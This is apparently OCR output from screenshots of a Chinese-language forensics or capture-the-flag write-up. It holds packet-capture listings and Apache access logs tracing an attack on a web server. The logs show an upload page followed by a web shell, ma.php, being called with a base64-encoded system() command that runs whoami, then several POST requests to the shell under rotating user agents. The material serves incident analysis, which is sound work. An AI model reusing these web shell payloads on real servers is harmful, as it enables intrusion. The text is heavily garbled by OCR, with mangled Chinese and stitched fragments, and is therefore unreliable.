493 — 56203 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
494 — 56204 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
495 — 56205 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
496 — 56206 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
497 — 56207 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
498 — 56208 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

80p89

499 — 56209 [RST, ACK] Seq=1 Ack=1Win=0 Len=0

80408
80410
81003
81005

10.6
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56153 —443-{R5THSeq=420-Win=0ten=0
56153 — 443 [RST] Seq=420 Win=0 Len=0
56212 — 2222 [RST] Seq=2 Win=0 Len=0
56212 — 2222 [RST] Seq=2 Win=0 Len=0

HiMSL

TLS
DNS
DNS
ER
HTTP
TCP
TCP
mDNS
TCP
TCP
R
HTTP
TRE
TLS
R
TCP
TRE
TCP

L

Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence

Semence

Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence
Sequence

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TP

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

245
2

437
29
1621
1634
676
2
864
1237
17
23
59
46
737
266
1012




BT/ T WL RS 8, IPHBES .
1 -

(ZAMPZIAENNBIRHEF?, (ER#R2RE, #14n127.0.0.1#192.168.0.1)

172.28.0.2#192.168.1.12

BIEHFFHA.

fEaccess.log EHRIE R E BIF —AipHsdt, RJEHEEttpsREHE B — N BN RS A b bk, k24T sqliE ANB iipHe
k.

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php” "Mozilla/5.0 (Macintosh; Intel Mac OS X
10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X
10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET //ma.php?fxxk=system(base64_decode(%27d2hvYW1p%27)); HTTP/1.1" 200 38 "-" "Mozilla/5.0 (Macintosh;
Intel Mac OS X 10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0,3945.130 Safari/537.36"|"-"

172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://{RERERIE ma. php?fok=system(base64 decode(%27d2hvYW1p
%27));" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:47:42 +0000] "POST /ma.php HTTP/1.1" 200 156 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10 6 6; de-de)
AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" "-"

172.28.0.3 - - [28/Aug/2021:18:47:53 +0000] "POST /ma.php HTTP/1.1" 200 141 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10 7 3;
Trident/6.0)" "-*

172.28.0.3 - - [28/Aug/2021:18:48:02 +0000] "POST /ma.php HTTP/1.1" 200 142 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14" "-"
172.28.0.3 - - [28/Aug/2021:18:48:05 +0000] "POST /ma.php HTTP/1.1" 200 144 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011
Firefox/27.0" *-"

172.28.0.3 - - [28/Aug/2021:18:48:11 +0000] "POST /ma.php HTTP/1.1" 200 261 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/37.0.2049.0 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:48:39 +0000] "POST /ma.php HTTP/1.1" 200 50 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/31.0.1650.16 Safari/537.36" "-"

68773 1353.000000 I GREAINE HEADERS[1159]: GET /info?l=1.. 192.168.1.12 HTTP2
68781 1354.000000 192.168.1.8 HEADERS[1161]: GET /info?l=1.. 192.168.1.12 HTTP2
68789 1354.000000 i e L HEADERS[1163]: GET /info?l=1.. 192.168.1.12 HTTP2
68795 1354.000000 1o 1 GRETE HEADERS[1165]: GET /info?l=1.. 192.168.1.12 HTTP2
68888 1355.000000 I GREINE HEADERS[1167]: GET /info?1=1.] 192.168.1.12 HTTP2
68820 1355.000000 192.168.1.8 HEADERS[1169]: GET /inf0?1:1“§192.168.1.12 (HTTP2
68826 1355.000000 i et L HEADERS[1171]: GET /info?l=1.] 192.168.1.12 HTTP2
68833 1356.000000 1o 1 GRETE HEADERS[1173]: GET /info?l=1.. 192.168.1.12 HTTP2
68839 1356.000000 192.168.1.8 HEADERS[1175]: GET /info?l=1.. 192.168.1.12 HTTP2
68845 1356.000000 192.168.1.8 HEADERS[1177]: GET /info?l-=1.. 192.168.1.12 HTTP2
68852 1357.000000 i e L HEADERS[1179]: GET /info?l=1.. 192.168.1.12 HTTP2
68858 1357 .000000 2 GREINE HEADERS[1181]: GET /info?l=1.. 192.168.1.12 HTTP2
£O0CA 130T Aanmnnn 1an 1ca0 1 o nranrnelf114031s orT [infad1_a  14an aca 1 a4 HTTRA
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BEGANT —Pwebshell, HEMLH_ .
1 -

fxxk
#rFaccess.log R A& 1 —AIER D,

10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:46 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:47 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X
10 15 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:47 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 3) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 3) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php” "Mozilla/5.0 (Macintosh; Intel Mac OS X
10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X
10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0. 13D Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET //ma.php?iili=system(base64 decode(%27d2hvYW1p%27)); HTTP/1.1" 200 38 "-" "Mozilla/5.0 (Macintosh;
Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chror|e/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET /favi 200 43 "http://172.28.0.2//ma.php?fxxk=system(base64 decode(%27d2hvYW1p
%27));" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppIeWebKit/537 36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"

172.28.0.3 - - [28/Aug/2021:18:47:42 +0000] "POST /ma.php HTTP/1.1" 200 156 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10 6 6; de-de)




AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" "-"
172.28.0.3 - - [28/Aug/2021:18:47:53 +0000] "POST /ma.php HTTP/1.1" 200 141 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10 7 3;
Trident/6.0)" "-"
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